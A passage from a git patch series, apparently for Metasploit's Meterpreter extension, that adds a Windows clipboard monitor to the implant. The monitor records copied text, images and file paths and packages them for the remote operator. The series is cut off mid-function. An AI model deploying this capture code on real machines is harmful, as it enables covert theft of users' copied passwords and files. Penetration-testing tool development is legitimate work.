 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
 		if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
 		if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
+		}
 
 		cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
 
 		// do the "use the right kind of memory once locked" clip board data dance.
 		// Note that we don't free up the memory we've allocated with GlobalAlloc
 		// because the windows clipboard magic does it for us.
-		if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) {
+		if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL)
+		{
 			dwResult = GetLastError();
 			pCloseClipboard();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult);
@@ -403,7 +631,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 		pGlobalUnlock(hClipboardData);
 
 		// Try to get a lock on the clipboard
-		if (!pOpenClipboard(NULL)) {
+		if (!pOpenClipboard(NULL))
+		{
 			dwResult = GetLastError();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
 		}
@@ -411,7 +640,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 		// Clear the clipboard data
 		pEmptyClipboard();
 
-		if (!pSetClipboardData(CF_TEXT, hClipboardData)) {
+		if (!pSetClipboardData(CF_TEXT, hClipboardData))
+		{
 			dwResult = GetLastError();
 			dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
 		}
@@ -425,17 +655,24 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 
 	// If something went wrong and we have clipboard data, then we need to
 	// free it up because the clipboard can't do it for us.
-	if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) {
+	if (dwResult != ERROR_SUCCESS && hClipboardData != NULL)
+	{
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
 		if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL)
+		{
 			pGlobalFree(hClipboardData);
+		}
 	}
 
 	if (hKernel32)
+	{
 		FreeLibrary(hKernel32);
+	}
 
 	if (hUser32)
+	{
 		FreeLibrary(hUser32);
+	}
 
 	packet_transmit_empty_response(remote, packet, dwResult);
 
@@ -445,10 +682,268 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 #endif
 }
 
+DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
+{
+#ifdef _WIN32
+	DWORD dwResult;
+	BOOL bTerminate = FALSE;
+	HANDLE waitableHandles[2] = {0};
+	MSG msg;
+	ClipboardState* pState = (ClipboardState*)thread->parameter1;
+
+	do
+	{
+		if (pState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread state is NULL", ERROR_INVALID_PARAMETER);
+		}
+
+		dwResult = create_clipboard_monitor_window(pState);
+		if (dwResult != ERROR_SUCCESS)
+		{
+			break;
+		}
+
+		// signal to the caller that our thread has started
+		dprintf("[EXTAPI CLIPBOARD] Thread started");
+		pState->bRunning = TRUE;
+		event_signal(pState->hResponseEvent);
+
+		waitableHandles[0] = thread->sigterm->handle;
+		waitableHandles[1] = pState->hPauseEvent->handle;
+
+		while (!bTerminate)
+		{
+			dwResult = WaitForMultipleObjects(2, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
+
+			switch (dwResult)
+			{
+			case 0: // stop the thread
+				dprintf("[EXTAPI CLIPBOARD] Thread stopping");
+				bTerminate = TRUE;
+				break;
+			case 1: // pause the thread
+				dprintf("[EXTAPI CLIPBOARD] Thread paused");
+				pState->bRunning = FALSE;
+
+				// indicate that we've paused
+				event_signal(pState->hResponseEvent);
+
+				// wait to be told to continue, but keep pumping messages while we wait
+				// because these are the messages we're ignoring.
+				while (!event_poll(pState->hResumeEvent, 1))
+				{
+					if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
+					{
+						TranslateMessage(&msg);
+						DispatchMessageA(&msg);
+					}
+				}
+
+				// indicate that we've resumed
+				pState->bRunning = TRUE;
+				event_signal(pState->hResponseEvent);
+
+				dprintf("[EXTAPI CLIPBOARD] Thread resumed");
+				break;
+			default:
+				// timeout, so pump messages
+				if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
+				{
+					TranslateMessage(&msg);
+					DispatchMessageA(&msg);
+				}
+				break;
+			}
+		}
+
+		// and we're done, switch off, and tell the caller we're done
+		pState->bRunning = FALSE;
+		destroy_clipboard_monitor_window(pState);
+		event_signal(pState->hResponseEvent);
+		dprintf("[EXTAPI CLIPBOARD] Thread stopped");
+
+	} while (0);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+VOID destroy_clipboard_monitor_state(ClipboardState* pState)
+{
+	dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor state");
+	if (pState != NULL)
+	{
+		if (pState->hThread != NULL)
+		{
+			thread_destroy(pState->hThread);
+		}
+		if (pState->hPauseEvent != NULL)
+		{
+			event_destroy(pState->hPauseEvent);
+		}
+		if (pState->hResumeEvent != NULL)
+		{
+			event_destroy(pState->hResumeEvent);
+		}
+		if (pState->hResponseEvent != NULL)
+		{
+			event_destroy(pState->hResponseEvent);
+		}
+
+		free(pState);
+	}
+}
+
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult = ERROR_SUCCESS;
+	ClipboardState* pState = NULL;
+	char* lpClassName = NULL;
+
+	do
+	{
+		if (gClipboardState != NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread already running", ERROR_ALREADY_INITIALIZED);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
+
+		pState = (ClipboardState*)malloc(sizeof(ClipboardState));
+		if (pState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard state", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
+		memset(pState, 0, sizeof(ClipboardState));
+
+		lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
+		if (lpClassName == NULL || strlen(lpClassName) == 0)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
+		}
+
+		strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
+		dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
+
+		pState->bDownloadFiles = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES);
+		pState->bDownloadImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES);
+
+		pState->hPauseEvent = event_create();
+		pState->hResumeEvent = event_create();
+		pState->hResponseEvent = event_create();
+
+		if (pState->hPauseEvent == NULL
+			|| pState->hResumeEvent == NULL
+			|| pState->hResponseEvent == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
+
+		if (pState->hThread == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard thread", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		gClipboardState = pState;
+		thread_run(pState->hThread);
+
+		// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
+		if (!event_poll(pState->hResponseEvent, 4000))
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	if (dwResult != ERROR_SUCCESS)
+	{
+		destroy_clipboard_monitor_state(pState);
+		gClipboardState = NULL;
+	}
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD clipboard_monitor_pause(ClipboardState* pState)
+{
+	if (pState->bRunning)
+	{
+		event_signal(pState->hPauseEvent);
+		event_poll(pState->hResponseEvent, INFINITE);
+	}
+
+	return ERROR_SUCCESS;
+}
+
+DWORD clipboard_monitor_resume(ClipboardState* pState)
+{
+	if (!pState->bRunning)
+	{
+		event_signal(pState->hResumeEvent);
+		event_poll(pState->hResponseEvent, INFINITE);
+	}
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Pausing clipboard monitor");
+
+		dwResult = clipboard_monitor_pause(gClipboardState);
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Resuming clipboard monitor");
+
+		dwResult = clipboard_monitor_resume(gClipboardState);
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
 	return dwResult;
 #else
 	return ERROR_NOT_SUPPORTED;
@@ -459,6 +954,37 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
+
+		// resume in case we're paused
+		clipboard_monitor_resume(gClipboardState);
+
+		// now stop the show
+		event_signal(gClipboardState->hThread->sigterm);
+
+		// if they don't terminate in a reasonable period of time...
+		if (!event_poll(gClipboardState->hResponseEvent, 10000))
+		{
+			// ... FINISH HIM!
+			dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
+			thread_kill(gClipboardState->hThread);
+		}
+
+		destroy_clipboard_monitor_state(gClipboardState);
+		gClipboardState = NULL;
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
 	return dwResult;
 #else
 	return ERROR_NOT_SUPPORTED;
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.h b/c/meterpreter/source/extensions/extapi/clipboard.h
index 143490f4..f6bef2bf 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.h
+++ b/c/meterpreter/source/extensions/extapi/clipboard.h
@@ -8,6 +8,8 @@
 DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c
index 3e36e675..8b1f2e8b 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.c
+++ b/c/meterpreter/source/extensions/extapi/extapi.c
@@ -26,6 +26,8 @@ Command customCommands[] =
 	COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
 	COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
 	COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
+	COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
+	COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
 	COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
 	COMMAND_TERMINATOR
 };
diff --git a/c/meterpreter/source/extensions/extapi/extapi.h b/c/meterpreter/source/extensions/extapi/extapi.h
index e62a3735..c0d2a335 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.h
+++ b/c/meterpreter/source/extensions/extapi/extapi.h
@@ -42,4 +42,8 @@
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW,       TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
 
+#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES   MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 49)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES  MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
+
 #endif

From d691124cd36aa5cf9c3a854f631c33acbe2801e7 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 22 Jan 2014 22:07:33 +1000
Subject: [PATCH 05/20] Changes and tweaks to make clipboard monitor work

---
 .../source/extensions/extapi/clipboard.c      | 1010 +++++++++++------
 .../source/extensions/extapi/clipboard.h      |    2 +
 .../source/extensions/extapi/extapi.c         |    3 +-
 .../source/extensions/extapi/extapi.h         |   11 +-
 .../source/extensions/extapi/service.c        |  117 +-
 .../source/extensions/extapi/window.c         |   33 +-
 6 files changed, 750 insertions(+), 426 deletions(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index 64e9afb0..3f2eb107 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -7,6 +7,53 @@
 #include "clipboard.h"
 #include "clipboard_image.h"
 
+/*! @brief the Limit on the size of the data we'll keep in memory. */
+#define MAX_CLIPBOARD_MONITOR_MEMORY (1024 * 1024 * 40)
+
+typedef enum _ClipboadrCaptureType
+{
+	CapText, CapFiles, CapImage
+} ClipboardCaptureType;
+
+typedef struct _ClipboardImage
+{
+	DWORD dwWidth;
+	DWORD dwHeight;
+	DWORD dwImageSize;
+	LPBYTE lpImageContent;
+} ClipboardImage;
+
+typedef struct _ClipboardFile
+{
+	LPSTR lpPath;
+	QWORD qwSize;
+	struct _ClipboardFile* pNext;
+} ClipboardFile;
+
+typedef struct _ClipboardCapture
+{
+	ClipboardCaptureType captureType;
+	union
+	{
+		LPSTR lpText;
+		ClipboardImage* lpImage;
+		ClipboardFile* lpFiles;
+	};
+	SYSTEMTIME stCaptureTime;
+	DWORD dwSize;
+	struct _ClipboardCapture* pNext;
+} ClipboardCapture;
+
+typedef struct _ClipboardCaptureList
+{
+	ClipboardCapture* pHead;
+	ClipboardCapture* pTail;
+	/*! @brief Lock to handle concurrent access to the clipboard capture list. */
+	LOCK* pClipboardCaptureLock;
+	/*! @brief Indication of how much data we have in memory. */
+	DWORD dwClipboardDataSize;
+} ClipboardCaptureList;
+
 typedef struct _ClipboardState
 {
 #ifdef _WIN32
@@ -16,6 +63,8 @@ typedef struct _ClipboardState
 	HWND hClipboardWindow;
 	/*! @brief Handle to the next window in the clipboard chain. */
 	HWND hNextViewer;
+	/*! @brief List of clipboard captures. */
+	ClipboardCaptureList captureList;
 #endif
 	/*! @brief Indicates if the thread is running or not. */
 	BOOL bRunning;
@@ -25,16 +74,15 @@ typedef struct _ClipboardState
 	EVENT* hPauseEvent;
 	/*! @brief Signalled when the caller wants the thread to resume. */
 	EVENT* hResumeEvent;
-	/*! @brief Automatically download files copied to the clipboard. */
-	BOOL bDownloadFiles;
-	/*! @brief Automatically download image content copied to the clipboard. */
-	BOOL bDownloadImages;
+	/*! @brief Capture image data that's found on the clipboard. */
+	BOOL bCaptureImageData;
 	/*! @brief Reference to the clipboard monitor thread. */
 	THREAD* hThread;
 } ClipboardState;
 
 /*! @brief Pointer to the state for the monitor thread. */
 static ClipboardState* gClipboardState = NULL;
+static BOOL gClipboardInitialised = FALSE;
 
 #ifdef _WIN32
 
@@ -81,9 +129,496 @@ typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
 /*! @brief GetFileSizeEx function pointer type. */
 typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
 
+static PCLOSECLIPBOARD pCloseClipboard = NULL;
+static PCLOSEHANDLE pCloseHandle = NULL;
+static PCREATEFILEA pCreateFileA = NULL;
+static PDRAGQUERYFILEA pDragQueryFileA = NULL;
+static PEMPTYCLIPBOARD pEmptyClipboard = NULL;
+static PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
+static PGETCLIPBOARDDATA pGetClipboardData = NULL;
+static PGETFILESIZEEX pGetFileSizeEx = NULL;
+static PGLOBALALLOC pGlobalAlloc = NULL;
+static PGLOBALFREE pGlobalFree = NULL;
+static PGLOBALLOCK pGlobalLock = NULL;
+static PGLOBALUNLOCK pGlobalUnlock = NULL;
+static POPENCLIPBOARD pOpenClipboard = NULL;
+static PSETCLIPBOARDDATA pSetClipboardData = NULL;
+
+DWORD initialise_clipboard()
+{
+#ifdef _WIN32
+	DWORD dwResult;
+	HMODULE hKernel32 = NULL;
+	HMODULE hUser32 = NULL;
+	HMODULE hShell32 = NULL;
+
+	do
+	{
+		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
+		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
+		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+		}
+
+		if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
+		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
+		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
+		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
+		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
+		if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
+		if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
+		if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
+		if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
+		if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
+		if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
+		if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
+		if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
+		if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
+		if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalFree in kernel32.dll");
+		}
+
+		dwResult = ERROR_SUCCESS;
+		gClipboardInitialised = TRUE;
+	} while (0);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL bRemoveLock)
+{
+	ClipboardFile* pFile, *pNextFile;
+
+	while (pCaptureList->pHead)
+	{
+		pCaptureList->pTail = pCaptureList->pHead->pNext;
+
+		switch (pCaptureList->pHead->captureType)
+		{
+		case CapText:
+			free(pCaptureList->pHead->lpText);
+			break;
+		case CapImage:
+			free(pCaptureList->pHead->lpImage->lpImageContent);
+			free(pCaptureList->pHead->lpImage);
+			break;
+		case CapFiles:
+			pFile = pCaptureList->pHead->lpFiles;
+
+			while (pFile)
+			{
+				pNextFile = pFile->pNext;
+				free(pFile->lpPath);
+				free(pFile);
+				pFile = pNextFile;
+			}
+			break;
+		}
+
+		free(pCaptureList->pHead);
+
+		pCaptureList->pHead = pCaptureList->pTail;
+	}
+
+	if (bRemoveLock && pCaptureList->pClipboardCaptureLock)
+	{
+		lock_destroy(pCaptureList->pClipboardCaptureLock);
+		pCaptureList->pClipboardCaptureLock = NULL;
+	}
+
+	pCaptureList->pHead = pCaptureList->pTail = NULL;
+	pCaptureList->dwClipboardDataSize = 0;
+}
+
+VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
+{
+	dprintf("[EXTAPI CLIPBOARD] parsing timestamp %p", pTime);
+	sprintf_s(buffer, 40, "%04u-%02u-%02u %02u:%02u:%02u.%04u",
+		pTime->wYear, pTime->wMonth, pTime->wDay,
+		pTime->wHour, pTime->wMinute, pTime->wSecond, pTime->wMilliseconds);
+	dprintf("[EXTAPI CLIPBOARD] timestamp parsed");
+}
+
+VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
+{
+	ClipboardFile* pFile;
+	Tlv entries[4];
+	char timestamp[40];
+
+	dprintf("[EXTAPI CLIPBOARD] Dumping clipboard capture");
+
+	memset(entries, 0, sizeof(entries));
+	memset(timestamp, 0, sizeof(timestamp));
+
+	timestamp_to_string(&pCapture->stCaptureTime, timestamp);
+	entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP;
+	entries[0].header.length = lstrlenA(timestamp) + 1;
+	entries[0].buffer = (PUCHAR)timestamp;
+	dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
+
+	switch (pCapture->captureType)
+	{
+	case CapText:
+		dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
+		entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT;
+		entries[1].header.length = lstrlenA(pCapture->lpText) + 1;
+		entries[1].buffer = (PUCHAR)pCapture->lpText;
+
+		packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, entries, 2);
+		dprintf("[EXTAPI CLIPBOARD] Text added to packet");
+		break;
+	case CapImage:
+		dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
+		entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX;
+		entries[1].header.length = sizeof(DWORD);
+		entries[1].buffer = (PUCHAR)&pCapture->lpImage->dwWidth;
+
+		entries[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY;
+		entries[2].header.length = sizeof(DWORD);
+		entries[2].buffer = (PUCHAR)&pCapture->lpImage->dwHeight;
+
+		entries[3].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
+		entries[3].header.length = pCapture->lpImage->dwImageSize;
+		entries[3].buffer = (PUCHAR)pCapture->lpImage->lpImageContent;
+
+		packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, entries, bCaptureImageData && pCapture->lpImage->lpImageContent ? 4 : 3);
+		dprintf("[EXTAPI CLIPBOARD] Image added to packet");
+		break;
+	case CapFiles:
+		pFile = pCapture->lpFiles;
+
+		while (pFile)
+		{
+			dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
+
+			dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
+			entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
+			entries[1].header.length = lstrlenA(pFile->lpPath) + 1;
+			entries[1].buffer = (PUCHAR)pFile->lpPath;
+
+			dprintf("[EXTAPI CLIPBOARD] Adding size %llu", htonq(pFile->qwSize));
+			entries[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
+			entries[2].header.length = sizeof(QWORD);
+			entries[2].buffer = (PUCHAR)&pFile->qwSize;
+
+			dprintf("[EXTAPI CLIPBOARD] Adding group");
+			packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 3);
+
+			pFile = pFile->pNext;
+			dprintf("[EXTAPI CLIPBOARD] Moving to next");
+		}
+		break;
+	}
+}
+
+VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptureList, BOOL bCaptureImageData, BOOL bPurge)
+{
+	ClipboardCapture* pCapture = NULL;
+
